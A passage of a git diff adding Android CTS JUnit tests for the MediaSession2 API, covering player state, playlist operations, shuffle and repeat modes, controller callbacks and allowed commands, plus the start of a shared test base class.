+            // expected. pass-through
+        }
+        MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+        try {
+            builder.setId(null);
+            fail("null id shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+    }
+
+    @Test
+    public void testPlayerStateChange() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latchForSessionCallback.countDown();
+                        }
+                    }).build();
+        });
+
+        final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, new ControllerCallback() {
+                    @Override
+                    public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+                        assertEquals(targetState, state);
+                        latchForControllerCallback.countDown();
+                    }
+                });
+
+        mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertEquals(targetState, controller.getPlayerState());
+    }
+
+    @Test
+    public void testCurrentDataSourceChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testCurrentDataSourceChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onCurrentMediaItemChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testMediaPrepared() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testMediaPrepared")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+                            MediaItem2 itemOut) {
+                        assertSame(currentItem, itemOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyMediaPrepared(currentItem.getDataSourceDesc());
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testBufferingStateChanged() throws Exception {
+        final int listSize = 5;
+        final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+
+        MediaItem2 currentItem = list.get(3);
+        final int buffState = MediaPlayerBase.BUFFERING_STATE_BUFFERING_COMPLETE;
+
+        final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testBufferingStateChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onBufferingStateChanged(MediaSession2 session,
+                            MediaPlayerBase player, MediaItem2 itemOut, int stateOut) {
+                        assertSame(currentItem, itemOut);
+                        assertEquals(buffState, stateOut);
+                        latchForSessionCallback.countDown();
+                    }
+                }).build()) {
+
+            mPlayer.notifyBufferingStateChanged(currentItem.getDataSourceDesc(), buffState);
+            assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+        }
+    }
+
+    @Test
+    public void testUpdatePlayer() throws Exception {
+        final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final CountDownLatch latch = new CountDownLatch(1);
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                        @Override
+                        public void onPlayerStateChanged(MediaSession2 session,
+                                MediaPlayerBase player, int state) {
+                            assertEquals(targetState, state);
+                            latch.countDown();
+                        }
+                    }).build();
+        });
+
+        MockPlayer player = new MockPlayer(0);
+
+        // Test if setPlayer doesn't crash with various situations.
+        mSession.updatePlayer(mPlayer, null, null);
+        assertEquals(mPlayer, mSession.getPlayer());
+        MediaPlaylistAgent agent = mSession.getPlaylistAgent();
+        assertNotNull(agent);
+
+        mSession.updatePlayer(player, null, null);
+        assertEquals(player, mSession.getPlayer());
+        assertNotNull(mSession.getPlaylistAgent());
+        assertNotEquals(agent, mSession.getPlaylistAgent());
+
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+   }
+
+    @Test
+    public void testSetPlayer_playbackInfo() throws Exception {
+        MockPlayer player = new MockPlayer(0);
+        AudioAttributes attrs = new AudioAttributes.Builder()
+                .setContentType(CONTENT_TYPE_MUSIC)
+                .build();
+        player.setAudioAttributes(attrs);
+
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        VolumeProvider2 volumeProvider =
+                new VolumeProvider2(volumeControlType, maxVolume, currentVolume) { };
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaybackInfoChanged(MediaController2 controller,
+                    PlaybackInfo info) {
+                Assert.assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+                assertEquals(attrs, info.getAudioAttributes());
+                assertEquals(volumeControlType, info.getPlaybackType());
+                assertEquals(maxVolume, info.getMaxVolume());
+                assertEquals(currentVolume, info.getCurrentVolume());
+                latch.countDown();
+            }
+        };
+
+        mSession.updatePlayer(player, null, null);
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        PlaybackInfo info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        AudioManager manager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        int localVolumeControlType = manager.isVolumeFixed()
+                ? VolumeProvider2.VOLUME_CONTROL_FIXED : VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        assertEquals(localVolumeControlType, info.getControlType());
+        assertEquals(manager.getStreamMaxVolume(AudioManager.STREAM_MUSIC), info.getMaxVolume());
+        assertEquals(manager.getStreamVolume(AudioManager.STREAM_MUSIC), info.getCurrentVolume());
+
+        mSession.updatePlayer(player, null, volumeProvider);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        assertEquals(PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+        assertEquals(attrs, info.getAudioAttributes());
+        assertEquals(volumeControlType, info.getControlType());
+        assertEquals(maxVolume, info.getMaxVolume());
+        assertEquals(currentVolume, info.getCurrentVolume());
+    }
+
+    @Test
+    public void testPlay() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.play();
+            assertTrue(mPlayer.mPlayCalled);
+        });
+    }
+
+    @Test
+    public void testPause() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.pause();
+            assertTrue(mPlayer.mPauseCalled);
+        });
+    }
+
+    @Ignore
+    @Test
+    public void testStop() throws Exception {
+        sHandler.postAndSync(() -> {
+            mSession.stop();
+            assertTrue(mPlayer.mStopCalled);
+        });
+    }
+
+    @Test
+    public void testSkipToPreviousItem() {
+        mSession.skipToPreviousItem();
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws Exception {
+        mSession.skipToNextItem();
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws Exception {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.skipToPlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testGetPlayerState() {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        mPlayer.mLastPlayerState = state;
+        assertEquals(state, mSession.getPlayerState());
+    }
+
+    @Test
+    public void testGetPosition() {
+        final long position = 150000;
+        mPlayer.mCurrentPosition = position;
+        assertEquals(position, mSession.getCurrentPosition());
+    }
+
+    @Test
+    public void testGetBufferedPosition() {
+        final long bufferedPosition = 900000;
+        mPlayer.mBufferedPosition = bufferedPosition;
+        assertEquals(bufferedPosition, mSession.getBufferedPosition());
+    }
+
+    @Test
+    public void testSetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mSession.setPlaylist(list, null);
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertSame(list, mMockAgent.mPlaylist);
+        assertNull(mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylist() {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mMockAgent.mPlaylist = list;
+        assertEquals(list, mSession.getPlaylist());
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mSession.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertSame(testMetadata, mMockAgent.mMetadata);
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mMockAgent.mMetadata = testMetadata;
+        assertEquals(testMetadata, mSession.getPlaylistMetadata());
+    }
+
+    @Test
+    public void testSessionCallback_onPlaylistChanged() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onPlaylistChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(list, playlist);
+                assertNull(metadata);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testSessionCallback")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testRemovePlaylistItem() {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.removePlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaSession2 session,
+                    MediaPlaylistAgent playlistAgent, int shuffleMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetShuffleMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyShuffleModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetShuffleMode() {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mSession.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    int repeatMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetRepeatMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyRepeatModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRepeatMode() {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mSession.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    // TODO (jaewan): Revisit
+    @Test
+    public void testBadPlayer() throws InterruptedException {
+        // TODO(jaewan): Add equivalent tests again
+        final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+        final BadPlayer player = new BadPlayer(0);
+
+        mSession.updatePlayer(player, null, null);
+        mSession.updatePlayer(mPlayer, null, null);
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    // This bad player will keep push events to the listener that is previously
+    // registered by session.setPlayer().
+    private static class BadPlayer extends MockPlayer {
+        public BadPlayer(int count) {
+            super(count);
+        }
+
+        @Override
+        public void unregisterPlayerEventCallback(
+                @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+            // No-op.
+        }
+    }
+
+    @Test
+    public void testOnCommandCallback() throws InterruptedException {
+        final MockOnCommandCallback callback = new MockOnCommandCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mPlayer = new MockPlayer(1);
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, callback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken());
+        controller.pause();
+        assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(1, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+                (long) callback.commands.get(0).getCommandCode());
+
+        controller.play();
+        assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(2, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+                (long) callback.commands.get(1).getCommandCode());
+    }
+
+    @Test
+    public void testOnConnectCallback() throws InterruptedException {
+        final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testOnDisconnectCallback() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testOnDisconnectCallback")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onDisconnected(MediaSession2 session,
+                            ControllerInfo controller) {
+                        assertEquals(Process.myUid(), controller.getUid());
+                        latch.countDown();
+                    }
+                }).build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.close();
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetCustomLayout() throws InterruptedException {
+        final List<CommandButton> buttons = new ArrayList<>();
+        buttons.add(new CommandButton.Builder()
+                .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+                .setDisplayName("button").build());
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (mContext.getPackageName().equals(controller.getPackageName())) {
+                    mSession.setCustomLayout(controller, buttons);
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testSetCustomLayout")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            if (mSession != null) {
+                mSession.close();
+                mSession = session;
+            }
+            final ControllerCallback callback = new ControllerCallback() {
+                @Override
+                public void onCustomLayoutChanged(MediaController2 controller2,
+                        List<CommandButton> layout) {
+                    assertEquals(layout.size(), buttons.size());
+                    for (int i = 0; i < layout.size(); i++) {
+                        assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+                        assertEquals(layout.get(i).getDisplayName(),
+                                buttons.get(i).getDisplayName());
+                    }
+                    latch.countDown();
+                }
+            };
+            final MediaController2 controller =
+                    createController(session.getToken(), true, callback);
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetAllowedCommands() throws InterruptedException {
+        final SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onAllowedCommandsChanged(MediaController2 controller,
+                    SessionCommandGroup2 commandsOut) {
+                assertNotNull(commandsOut);
+                Set<SessionCommand2> expected = commands.getCommands();
+                Set<SessionCommand2> actual = commandsOut.getCommands();
+
+                assertNotNull(actual);
+                assertEquals(expected.size(), actual.size());
+                for (SessionCommand2 command : expected) {
+                    assertTrue(actual.contains(command));
+                }
+                latch.countDown();
+            }
+        };
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+
+        mSession.setAllowedCommands(controllerInfo, commands);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSendCustomAction() throws InterruptedException {
+        final SessionCommand2 testCommand = new SessionCommand2(
+                SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                    Bundle args, ResultReceiver receiver) {
+                assertEquals(testCommand, command);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(receiver);
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.sendCustomCommand(testCommand, testArgs);
+
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+        // TODO(jaewan): Test receivers as well.
+        mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testNotifyError() throws InterruptedException {
+        final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+        final Bundle extras = new Bundle();
+        extras.putString("args", "testNotifyError");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+                assertEquals(errorCode, errorCodeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.notifyError(errorCode, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    public class MockOnConnectCallback extends SessionCallback {
+        @Override
+        public SessionCommandGroup2 onConnect(MediaSession2 session,
+                ControllerInfo controllerInfo) {
+            if (Process.myUid() != controllerInfo.getUid()) {
+                return null;
+            }
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            // Reject all
+            return null;
+        }
+    }
+
+    public class MockOnCommandCallback extends SessionCallback {
+        public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+                SessionCommand2 command) {
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            commands.add(command);
+            if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+        if (a == null || b == null) {
+            assertEquals(a, b);
+        }
+        assertEquals(a.size(), b.size());
+
+        for (int i = 0; i < a.size(); i++) {
+            MediaItem2 aItem = a.get(i);
+            MediaItem2 bItem = b.get(i);
+
+            if (aItem == null || bItem == null) {
+                assertEquals(aItem, bItem);
+                continue;
+            }
+
+            assertEquals(aItem.getMediaId(), bItem.getMediaId());
+            assertEquals(aItem.getFlags(), bItem.getFlags());
+            TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+            // Note: Here it does not check whether DataSourceDesc are equal,
+            // since there DataSourceDec is not comparable.
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+    // Expected success
+    static final int WAIT_TIME_MS = 1000;
+
+    // Expected timeout
+    static final int TIMEOUT_MS = 500;
+
+    static TestUtils.SyncHandler sHandler;
+    static Executor sHandlerExecutor;
+
+    Context mContext;
+    private List<MediaController2> mControllers = new ArrayList<>();
+
+    interface TestControllerInterface {
+        ControllerCallback getCallback();
+    }
+
+    interface WaitForConnectionInterface {
+        void waitForConnect(boolean expect) throws InterruptedException;
+        void waitForDisconnect(boolean expect) throws InterruptedException;
+    }
+
+    @BeforeClass
+    public static void setUpThread() {
+        if (sHandler == null) {
+            HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+            handlerThread.start();
+            sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+            sHandlerExecutor = (runnable) -> {
+                sHandler.post(runnable);
+            };
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        if (sHandler != null) {
+            sHandler.getLooper().quitSafely();
+            sHandler = null;
+            sHandlerExecutor = null;
+        }
+    }
+
+    @CallSuper
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @CallSuper
+    public void cleanUp() throws Exception {
+        for (int i = 0; i < mControllers.size(); i++) {
+            mControllers.get(i).close();
+        }
+    }
+
+    final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+        return createController(token, true, null);
+    }
+
+    final MediaController2 createController(@NonNull SessionToken2 token,
+            boolean waitForConnect, @Nullable ControllerCallback callback)
+            throws InterruptedException {
+        TestControllerInterface instance = onCreateController(token, callback);
+        if (!(instance instanceof MediaController2)) {
+            throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+                    + instance);
+        }
+        MediaController2 controller = (MediaController2) instance;
+        mControllers.add(controller);
+        if (waitForConnect) {
+            waitForConnect(controller, true);
+        }
+        return controller;
+    }
+
+    private static WaitForConnectionInterface getWaitForConnectionInterface(
+            MediaController2 controller) {
+        if (!(controller instanceof TestControllerInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller implemented"
+                    + " TestControllerInterface but got " + controller);
+        }
+        ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
